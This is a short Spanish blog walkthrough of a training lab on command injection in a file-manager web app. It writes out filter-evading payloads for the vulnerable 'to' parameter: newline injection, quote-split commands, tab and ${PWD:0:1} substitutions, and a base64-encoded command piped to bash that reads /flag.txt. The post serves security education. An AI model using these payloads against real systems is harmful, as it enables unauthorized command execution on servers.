Laboratorio de Command Injection

Sep 10, 2025 · 1 min read

Enunciado

Le contratan para realizar una prueba de penetración para una empresa y, durante la prueba, descubre una interesante aplicación web de gestión de archivos. Dado que los gestores de archivos suelen ejecutar comandos del sistema, le interesa comprobar si existen vulnerabilidades de inyección de comandos.

Utilice las distintas técnicas presentadas en este módulo para detectar una vulnerabilidad de inyección de comandos y luego explotarla, evadiendo cualquier filtro existente.

  • Autenticarse con el usuario guest y la contraseña guest.

¿Cuál es el contenido de ‘/flag.txt’? Accedemos a la página web que nos ponen. Entramos con las credenciales que nos dan y vemos lo siguiente un administrador de archivos. Revisando la página vemos que la petición: Nos da un error luego de probar con diferentes comandos vemos que en el parámetro to es vulnerable a inyección de comandos.

to=%0ap'w'd… -> /n pwd Probamos con el comando pwd y vemos que nos muestra la ruta actual.

to=%0a'l's%09${PWD:0:1}… -> /n ls / Listamos el contenido en / y vemos el archivo de la flag.

to=%0a'ca't%09${PWD:0:1}flag.txt… -> /n cat /flag.txt. Leemos la flag.

Otra forma que tenemos de hacerlo es codificando los comandos en base 64 y pasárselo para que el servidor lo decodifique.

to=%0abash<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dA==) -> /n cat /flag.txt

Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.

Escríbeme por cualquiera de las vías